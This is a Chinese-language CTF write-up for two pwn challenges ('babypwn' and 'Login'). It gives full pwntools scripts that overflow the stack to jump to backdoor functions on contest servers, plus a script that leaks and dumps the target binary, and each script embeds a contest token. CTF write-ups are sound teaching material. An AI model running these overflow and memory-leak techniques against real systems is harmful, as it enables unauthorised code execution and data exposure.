高校网络安全管理运维赛 pwn wp
PaT1Ent 发表于 山东 CTF 970浏览 · 2024-05-07 01:02

高校网络安全管理运维赛 pwn wp

babypwn

思路


有后门,匹配完直接打栈溢出

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'
p=remote('prob07.contest.pku.edu.cn',10007)
#p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('./libc.so.6')

def duan():
    gdb.attach(p)
    pause()
ret=0x000000000040101a
ru('Please input your token: ')
sl('218:MEQCIFyi0aQWVbpi6B9HtuW9s3-HEnqV0y9Kp2JHwq_q5d0VAiB3zRFQjAnPUZ3Fv-eGyuSemSb4KE9Y6BjTBH9MLVA8lQ==')
ru('Enter your username: ')
s('root\0')
ru('Enter the password: ')
pl='!@#$%^&*()_+'+'\0'*0x10
pl=pl.ljust(0x30,'\0')
pl+=p64(ret)+p64(0x40117A)
sl(pl)
itr()

Login

题目描述

在端口扫描结果中,你发现了一个奇怪的开放端口,可以通过ncat进行交互。然而你并没有找到任何相关信息,你可以破解它嘛?

在一片神秘的网络上,有一座被称为“赛博之城”的地方。这座城市的居民都是一些数字生命体,他们生活在一个由0和1构成的世界里。赛博之城有着严密的防御系统,任何试图闯入的非法分子都会被毫不留情地拒绝。然而,这座城市里隐藏着一个传说,那就是在城市的深处,有一个神秘的宝藏,得到它的人将能获得巨大的力量。

作为一名赛博淘金者,你一直在寻找传说中的赛博之城。经过长时间的努力,你终于找到了这座城市的入口。然而,在你试图进入时,却被城市的防御系统发现并拒绝。你不甘心就此放弃,于是决定寻找其他入口。

在一次偶然的端口扫描中,你发现了一个奇怪的开放端口。端口上有一个登录入口,似乎与赛博之城的某个后台系统有关,但却没有任何相关信息。你觉得这是一个机会,于是决定尝试破解这个端口……

思路

连接之后发现要输入用户名和密码


试了试也没有格式化字符串
多次尝试后发现在password后溢出就能泄露内存


从如下几图可以大胆猜测,基本上整个程序都被输出了


所以直接写一个dump的脚本,看看能不能把程序dump下来

ru('Username: ')
sl('admin')
ru('Password: ')
sl('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
ru('Core dumped\n')
a=p.recv()
b=p.recv()
c=p.recv()
d=p.recv()
e=p.recv()
bin=a+b+c+d+e

with open('dump_bin','wb') as f:
        f.write(bin)

dump下来了完整的程序


从panic函数也可以验证,确实把整个程序都printf了


然后在login里面可以看到漏洞点


很明显的栈溢出


然后也有后门,所以就直接写脚本打

dump.py

因为泄露的很多,所以多用几次recv()接收一下

import os
import sys
import time
from pwn import *
from ctypes import *
import binascii

context.os = 'linux'
context.log_level = "debug"

context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=remote('prob04.contest.pku.edu.cn',10004)
ru('Please input your token: ')
sl('218:MEQCIFyi0aQWVbpi6B9HtuW9s3-HEnqV0y9Kp2JHwq_q5d0VAiB3zRFQjAnPUZ3Fv-eGyuSemSb4KE9Y6BjTBH9MLVA8lQ==')
ru('Username: ')
sl('admin')
ru('Password: ')
sl('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
ru('Core dumped\n')
a=p.recv()
b=p.recv()
c=p.recv()
d=p.recv()
e=p.recv()
bin=a+b+c+d+e

with open('dump_bin','wb') as f:
        f.write(bin)

p.interactive()

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=remote('prob04.contest.pku.edu.cn',10004)
ru('Please input your token: ')
sl('218:MEQCIFyi0aQWVbpi6B9HtuW9s3-HEnqV0y9Kp2JHwq_q5d0VAiB3zRFQjAnPUZ3Fv-eGyuSemSb4KE9Y6BjTBH9MLVA8lQ==')
ru('Username: ')
sl('admin')
ru('Password: ')
pl='1q2w3e4r\0'
pl=pl.ljust(0x98,'\0')
pl=pl+p64(0x40127E)
sl(pl)
itr()
附件:
0 条评论
某人
表情
可输入 255